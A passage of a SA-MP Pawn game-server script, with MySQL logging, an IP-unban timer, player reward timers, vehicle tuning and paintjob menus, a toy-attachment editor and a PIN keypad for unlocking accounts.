new ore,mn,sec;
getdate(dd,mm,yyyy);
gettime(ore,mn,sec);
format(string,sizeof(string), "%s%d/%s%d/%s%d  %s%d:%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyyy < 10) ? ("0") : (""),yyyy, (ore < 10) ? ("0") : (""),ore,(mn < 10) ? ("0") : (""),mn);

new query2[512];
mysql_format(handle, query2, 512, "INSERT INTO `logs` (`Player`,`Taraf`,`Harf`,`Harf2`,`No`,`Date`)VALUES ('%e','%e','%e','%e','%d','%e')",player,taraf,harf,harf2,no,string);
mysql_query(handle, query2);
}
forward reloging(playerid);
public reloging(playerid) {
	new string[30];
	isRelogging[playerid] = false;
	format(string, sizeof(string), "unbanip %s", relogPlayerIP[playerid]);
	SendRconCommand(string);
	print(string);
}
forward EventSa();
public EventSa() {
if(EventHave == true && EventGotoHave == true) {
EventSay(COLOR_YELLOW,"[EVENT]: There is an event that you can join to their event.");
}
else {}
}
forward JammerT(playerid);
public JammerT(playerid) {
SendMessage(playerid, COLOR_AdminWarn, "Your jammer time has been ended. your finders can find you now.");
Jammer[playerid] = 0;
}
forward MLRM();
public MLRM() {
if(MLR == 1) {
new lolstr[200];
format(lolstr, 200, "When the server reaches %d players, you will receive $%s and %d Respect Points and %d Level.", PMLR, FormatNumber(MMLR), RMLR, LMLR);
SendClientMessageToAll(COLOR_LIGHTBLUE, lolstr);
SetTimer("MLRM", 400000, 0);
}

}
forward CheckPlayers();
public CheckPlayers() {
if(MLR == 1) {
new c = 0;
for(new i = 0;i<Akharish;i++) {
if(IsPlayerConnected(i) && gPlayerLogged[i] == 1) {

c++;

}
}
if(c >= PMLR) {
for(new i = 0;i<Akharish;i++) {
if(IsPlayerConnected(i) && gPlayerLogged[i] == 1) {
GivePlayerPool(i, MMLR);
PINFO[i][pExp] += RMLR;
PINFO[i][pLevel] += LMLR;
SaveKonVal(i, "pExp", PINFO[i][pExp]);
SaveKonVal(i, "pLevel", PINFO[i][pLevel]);
SetPlayerScore(i,PlayerInfo[i][pLevel]);
new lolstr2[512];
format(lolstr2, sizeof(lolstr2), "AdmBot has given %i respect points and %i levels and $%s to all online players.", RMLR, LMLR, FormatNumber(MMLR));
SendMessage(i, COLOR_LIGHTBLUE, lolstr2);
}
}
MLR = 0;
MMLR = 0;
RMLR = 0;
LMLR = 0;
PMLR = 0;
}
else {
SetTimer("CheckPlayers", 2000, 0);
}
}
}
forward OnTestMashin(playerid);
public OnTestMashin(playerid) {

DestroyVehicle(vhid[playerid]);

SCM(playerid, COLOR_YELLOW, "The test-drive time has expired.");
SetPlayerPos(playerid,-1953.721801,264.140136,41.047080);

okkon(playerid,rV[playerid]);
TextDrawShowForPlayer(playerid, TestModel);
TextDrawShowForPlayer(playerid, BuyModel);
TextDrawShowForPlayer(playerid, NextModel);
TextDrawShowForPlayer(playerid, PrevModel);
TextDrawShowForPlayer(playerid, ExitDS);
TextDrawShowForPlayer(playerid, RotModel);
TextDrawShowForPlayer(playerid, RotModel2);
PlayerTextDrawShow(playerid, CarModel[playerid]);
PlayerTextDrawShow(playerid, PriceModel[playerid]);

OnMashinKharidan[playerid] = 1;
SelectTextDraw(playerid, 0x00FF00FF);
OnTestMashine[playerid] = 0;

}
forward OnTestMashinOk(playerid);
public OnTestMashinOk(playerid) {
OnTestMashine[playerid] = 1;
}

public OnPlayerClickPlayerTextDraw(playerid, PlayerText:playertextid)
{
if(FCNPC_IsValid(playerid)) return 1;



    if( _:playertextid != INVALID_TEXT_DRAW) {
        if( playertextid == TuningBuy[ playerid ][ 7 ] ) { // desno
            if( !IsPlayerInAnyVehicle( playerid ) ) return SendErrorMessage( playerid, "You should be in a vehicle." );
	        if( GetPlayerState( playerid ) != PLAYER_STATE_DRIVER ) return SendErrorMessage( playerid, "You must be driver of this vehicle." );

            if( TPInfo[ playerid ][ tPaintjob ] == false ) {

				new compid = -1, vehicleid = GetPlayerVehicleID( playerid );

	            for( new i = ( TPInfo[ playerid ][ tID ]+1 ); i < MAX_COMPONENTS; i++ ) {
					if( cInfo[ i ][ cType ] == TPInfo[ playerid ][ tType ] ) {
						if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
							compid = i;
							break;
						}
					}
				}
				if( compid == -1 ) return SendErrorMessage( playerid, "There isn't any compatible components selected species for your vehicle model." );

	            RemoveVehicleComponent( vehicleid, cInfo[ TPInfo[ playerid ][ tID ] ][ cID ] );

	            TPInfo[ playerid ][ tID ] = compid;

	            format( globalstring, sizeof( globalstring ), "%s", cInfo[ compid ][ cName ] );
				PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
				format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ compid ][ cPrice ] );
				PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

				AddVehicleComponent( vehicleid, cInfo[ compid ][ cID ] );

				SelectTextDraw( playerid, COLOR_ORANGE );
			}
			else if( TPInfo[ playerid ][ tPaintjob ] == true ) {

			    new paintid = -1, vehicleid = GetPlayerVehicleID( playerid );

			    for( new i = ( TPInfo[ playerid ][ tID ]+1 ); i < NUMBER_TYPE_PAINTJOB; i++ ) {
			    	if( pjInfo[ i ][ vehID ] == GetVehicleModel( vehicleid ) ) {
						paintid = i;
						break;
					}
			   	}
			   	if( paintid == -1 ) return SendErrorMessage( playerid, "There isn't any compatible paintjobs for your vehicle model." );

                TPInfo[ playerid ][ tID ] = paintid;

                format( globalstring, sizeof( globalstring ), "%s", pjInfo[ paintid ][ pName ] );
				PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
				format( globalstring, sizeof( globalstring ), "price: ~w~%d$", pjInfo[ paintid ][ pPrice ] );
				PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                ChangeVehiclePaintjob( vehicleid, pjInfo[ paintid ][ pNumber ] );

                SelectTextDraw( playerid, COLOR_ORANGE );
			}
        }
        if( playertextid == TuningBuy[ playerid ][ 8 ] ) { // levo
            if( TPInfo[ playerid ][ tPaintjob ] == false ) {

	            if( !IsPlayerInAnyVehicle( playerid ) ) return SendErrorMessage( playerid, "You should be in a vehicle." );
		        if( GetPlayerState( playerid ) != PLAYER_STATE_DRIVER ) return SendErrorMessage( playerid, "You must be driver of this vehicle." );

	            new compid = -1, vehicleid = GetPlayerVehicleID( playerid );

	            for( new i = (TPInfo[ playerid ][ tID ]-1); i > 0; i-- ) {
					if( cInfo[ i ][ cType ] == TPInfo[ playerid ][ tType ] ) {
						if( cInfo[ i ][ cID ] == IsComponentidCompatible( GetVehicleModel( vehicleid ), cInfo[ i ][ cID ] ) ) {
							compid = i;
							break;
						}
					}
				}
				if( compid == -1 ) return SendErrorMessage( playerid, "There isn't any options." );

				RemoveVehicleComponent( vehicleid, cInfo[ TPInfo[ playerid ][ tID ] ][ cID ] );

	            TPInfo[ playerid ][ tID ] = compid;

	            format( globalstring, sizeof( globalstring ), "%s", cInfo[ compid ][ cName ] );
				PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
				format( globalstring, sizeof( globalstring ), "price: ~w~%d$", cInfo[ compid ][ cPrice ] );
				PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

				AddVehicleComponent( vehicleid, cInfo[ compid ][ cID ] );

				SelectTextDraw( playerid, COLOR_ORANGE );
			}
			else if( TPInfo[ playerid ][ tPaintjob ] == true ) {

			    new paintid = -1, vehicleid = GetPlayerVehicleID( playerid );

			    for( new i = (TPInfo[ playerid ][ tID ]-1); i > 0; i-- ) {
			    	if( pjInfo[ i ][ vehID ] == GetVehicleModel( vehicleid ) ) {
						paintid = i;
						break;
					}
			   	}
			   	if( paintid == -1 ) return SendErrorMessage( playerid, "There isn't any compatible paintjobs for your vehicle model." );

                TPInfo[ playerid ][ tID ] = paintid;

                format( globalstring, sizeof( globalstring ), "%s", pjInfo[ paintid ][ pName ] );
				PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
				format( globalstring, sizeof( globalstring ), "price: ~w~%d$", pjInfo[ paintid ][ pPrice ] );
				PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

                ChangeVehiclePaintjob( vehicleid, pjInfo[ paintid ][ pNumber ] );

                SelectTextDraw( playerid, COLOR_ORANGE );
			}
        }
        if( playertextid == TuningBuy[ playerid ][ 9 ] ) { // buy
            if( !IsPlayerInAnyVehicle( playerid ) ) return SendErrorMessage( playerid, "You should be in a vehicle." );
	        if( GetPlayerState( playerid ) != PLAYER_STATE_DRIVER ) return SendErrorMessage( playerid, "You must be driver of this vehicle." );

            new Float:Pos[ 6 ], vehicleid = GetPlayerVehicleID( playerid );

            if( TPInfo[ playerid ][ tPaintjob ] == false ) {

				if( GetPlayerPool( playerid ) < cInfo[ TPInfo[ playerid ][ tID ] ][ cPrice ] ) return SendErrorMessage( playerid, "You do not have enough money." );

				new cid = TPInfo[ playerid ][ tID ];

		        RemoveVehicleComponent( vehicleid, cInfo[ TPInfo[ playerid ][ tID ] ][ cID ] );

		        VehicleInfo[ vehicleid ][ vTuned ] = true;

		        AddComponentToVehicle( vehicleid, cInfo[ cid ][ cID ] );

		        GivePlayerPoolEx( playerid, -cInfo[ TPInfo[ playerid ][ tID ] ][ cPrice ] );
		        CheghadrPool[playerid] = (CheghadrPool[playerid]+cInfo[ TPInfo[ playerid ][ tID ] ][ cPrice ]);
		        
		        PlayerPlaySound(playerid, 1133, 0.0, 0.0, 0.0);

			}
			else if( TPInfo[ playerid ][ tPaintjob ] == true ) {

			    if( GetPlayerPool( playerid ) < pjInfo[ TPInfo[ playerid ][ tID ] ][ pPrice ] ) return SendErrorMessage( playerid, "You do not have enough money." );

			    new paintid = TPInfo[ playerid ][ tID ];

			    VehicleInfo[ vehicleid ][ vTuned ] = true;

			    VehicleInfo[ vehicleid ][ vPaintJob ] = pjInfo[ paintid ][ pNumber ];

			    GivePlayerPoolEx( playerid, -pjInfo[ TPInfo[ playerid ][ tID ] ][ pPrice ] );
			    CheghadrPool[playerid] = (CheghadrPool[playerid]+pjInfo[ TPInfo[ playerid ][ tID ] ][ pPrice ]);

			    //ChangeVehicleColor( vehicleid, TPInfo[ playerid ][ PJColor ][ 0 ], TPInfo[ playerid ][ PJColor ][ 1 ] );

			    ChangeVehiclePaintjob( vehicleid, pjInfo[ paintid ][ pNumber ] );
			    
			    //OnVehiclePaintjob(playerid, vehicleid, paintid);
			    
			    
			    	if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_1])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh1];
	   vInfo[r][cPaintJob] = paintid;
	   SaveKonValV(r, "cPaintJob", paintid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_2])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh2];
	   vInfo[r][cPaintJob] = paintid;
	   SaveKonValV(r, "cPaintJob", paintid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_3])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh3];
	   vInfo[r][cPaintJob] = paintid;
	   SaveKonValV(r, "cPaintJob", paintid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_4])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh4];
	   vInfo[r][cPaintJob] = paintid;
	   SaveKonValV(r, "cPaintJob", paintid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_5])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh5];
	   vInfo[r][cPaintJob] = paintid;
	   SaveKonValV(r, "cPaintJob", paintid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
	 if(OwnedMashin[vehicleid] == 1 && vehicleid == PlayerInfo[MashinOwner[vehicleid]][pCar_6])
	{
		new r = PlayerInfo[MashinOwner[vehicleid]][pVeh6];
	   vInfo[r][cPaintJob] = paintid;
	   SaveKonValV(r, "cPaintJob", paintid);
	   //SaveAccount(MashinOwner[vehicleid]);
	}
			    
			    

			}
			GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, 6, 2 );
			//SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

			GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
			//SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
			SetCameraToTuning(playerid);

			//CancelSelectTextDraw( playerid );

		    TuningTDControl( playerid, false );
		    //TogglePlayerControllable( playerid, true );

			//ShowPlayerDialog( playerid, dialog_TUNING, DIALOG_STYLE_LIST, "Tuning System", "Paintjobs\nColors\nExhausts\nFront Bumper\nRear Bumper\nRoof\nSpoilers\nSide Skirts\nWheels\nCar Stereo\nHydraulics\nNitro", "OK", "Cancel" );
        }
        if( playertextid == TuningBuy[ playerid ][ 13 ] ) { // close

            if( !IsPlayerInAnyVehicle( playerid ) ) return SendErrorMessage( playerid, "You should be in a vehicle." );
	        if( GetPlayerState( playerid ) != PLAYER_STATE_DRIVER ) return SendErrorMessage( playerid, "You must be in a vehicle." );

            new Float:Pos[ 6 ], vehicleid = GetPlayerVehicleID( playerid );

			if( TPInfo[ playerid ][ tPaintjob ] == false ) {

		        RemoveVehicleComponent( vehicleid, cInfo[ TPInfo[ playerid ][ tID ] ][ cID ] );

				SetTune( vehicleid );
			}
			else if( TPInfo[ playerid ][ tPaintjob ] == true ) {
			    ChangeVehiclePaintjob( vehicleid, 3 );
				ChangeVehicleColor( vehicleid, TPInfo[ playerid ][ PJColor ][ 0 ], TPInfo[ playerid ][ PJColor ][ 1 ] );
			}
			GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 0, 6, 2 );
			//SetPlayerCameraPos( playerid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ] );

			GetVehiclePos( vehicleid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
			//SetPlayerCameraLookAt( playerid, Pos[ 0 ],Pos[ 1 ],Pos[ 2 ] );
			SetCameraToTuning(playerid);

	        //CancelSelectTextDraw( playerid );

			TuningTDControl( playerid, false );
		    //TogglePlayerControllable( playerid, true );

			//ShowPlayerDialog( playerid, dialog_TUNING, DIALOG_STYLE_LIST, "Tuning System", "Paintjobs\nColors\nExhausts\nFront Bumper\nRear Bumper\nRoof\nSpoilers\nSide Skirts\nWheels\nCar Stereo\nHydraulics\nNitro", "OK", "Cancel" );
        }
    }




if(playertextid == TOYS_PTD[playerid][0])
	{
		LastMokhtasatDialog[playerid] = 10;
	    ShowPlayerDialog(playerid, DIALOG_MOKHTASAT, DIALOG_STYLE_INPUT, "Toys Offset", "Enter slot below:", "Enter", "Exit");
	}
	if(playertextid == TOYS_PTD[playerid][1])
	{
		ShowFelanPageAzFelanType(playerid, 1, 0);
        ToysStudioDT[playerid][Enable] = 2;
		for(new i = 0; i < sizeof(OBJTTT); i++)TextDrawShowForPlayer(playerid, OBJTTT[i]);
		for(new i = 0; i < 13; i++)PlayerTextDrawShow(playerid, SELECTER[playerid][i]);
	    for(new s=0; s < sizeof(ToysGTD);s++) TextDrawHideForPlayer(playerid, ToysGTD[s]);
		for(new i = 0; i < 12; i++)PlayerTextDrawHide(playerid, TOYS_PTD[playerid][i]);
	}
	if(playertextid == TOYS_PTD[playerid][2])
	{
		LastMokhtasatDialog[playerid] = 12;
	    ShowPlayerDialog(playerid, DIALOG_MOKHTASAT, DIALOG_STYLE_LIST, "Bone","1-Spine \n2-Head \n3-Left upper arm \n4-Right upper arm \n5-Left hand \n6-Right hand \n7-Left thigh \n8-Right thigh \n9-Left foot \n10-Right foot \n11-Right calf \n12-Left calf \n13-Left forearm \n14-Right forearm \n15-Left clavicle (shoulder) \n16-Right clavicle (shoulder) \n17-Neck \n18-Jaw", "Select","Close");
	}
	for(new i = 3; i < 12; i++ )
	{
	    if(playertextid == TOYS_PTD[playerid][i])
	    {
	        LastMokhtasatDialog[playerid] = i-2;
	        new textname[11];
	        switch(i)
	        {
	        	case 3: textname="X OffSet";
	        	case 4: textname="Y OffSet";
	        	case 5: textname="Z OffSet";
	        	case 6: textname="X Rotation";
	        	case 7: textname="Y Rotation";
	        	case 8: textname="Z Rotation";
	        	case 9: textname="X Scale";
	        	case 10: textname="Y Scale";
	        	case 11: textname="Z Scale";
	        }
	        new string[20],string2[30];
	        format(string, sizeof(string), "Toys %s", textname);
	        format(string2, sizeof(string2), "Enter %s below:", textname);
	    	ShowPlayerDialog(playerid, DIALOG_MOKHTASAT, DIALOG_STYLE_INPUT, string, string2, "Enter", "Exit");
	    }
	}
	for(new c = 0; c < 6; c++ )
	{
		if(playertextid == SELECTER[playerid][c])
		{
			if(PlayerToyObjectShowed[playerid][c]==395) return true;
	        ToysStudioDT[playerid][tobject] = ToysStudioDT[playerid][LastSelect] = PlayerToyObjectShowed[playerid][c];
			UpdateEditingToy(playerid, ToysStudioDT[playerid][WhoSlot]);
			ToysStudioDT[playerid][Enable] = 1;
			for(new i = 0; i < sizeof(OBJTTT); i++)TextDrawHideForPlayer(playerid, OBJTTT[i]);
			for(new i = 0; i < 13; i++)PlayerTextDrawHide(playerid, SELECTER[playerid][i]);
		    for(new i = 0; i < sizeof(ToysGTD); i++)TextDrawShowForPlayer(playerid, ToysGTD[i]);
			for(new i = 0; i < 12; i++)PlayerTextDrawShow(playerid, TOYS_PTD[playerid][i]);
			UpdateToysEditor(playerid);
		}
	}
	if(playertextid == SELECTER[playerid][12])
	{
		LastMokhtasatDialog[playerid] = 11;
	    ShowPlayerDialog(playerid, DIALOG_MOKHTASAT, DIALOG_STYLE_LIST, "Toys type:", "Hats\nGlasses\nWatch\nMask\nBandana\nWeapons\nLaser\nOthers", "Select", "Back");
	}
if(Pinning[playerid] == 1)// Unlock acc
{
new SetKOn[10];
if(playertextid == PINNum1[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{
PIN1Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{
PIN2Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 1;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum2[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 2;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum3[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 3;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum4[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 4;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum5[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 5;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum6[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 6;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum7[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 7;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum8[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 8;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum9[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{

PIN4Zadam[playerid] = 9;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == PINNum0[playerid])
{
if(ChandAdadZadam[playerid] < 4) ChandAdadZadam[playerid] ++;
if(ChandAdadZadam[playerid] == 1)
{

PIN1Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 2)
{

PIN2Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 3)
{

PIN3Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
if(ChandAdadZadam[playerid] == 4)
{
PIN4Zadam[playerid] = 0;
format(SetKOn , sizeof(SetKOn) , "]]]]");
PlayerTextDrawSetString(playerid, EnterCode[playerid], SetKOn);
}
}
if(playertextid == Unsucc[playerid])
{
if(ChandAdadZadam[playerid] == 0)
{
CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
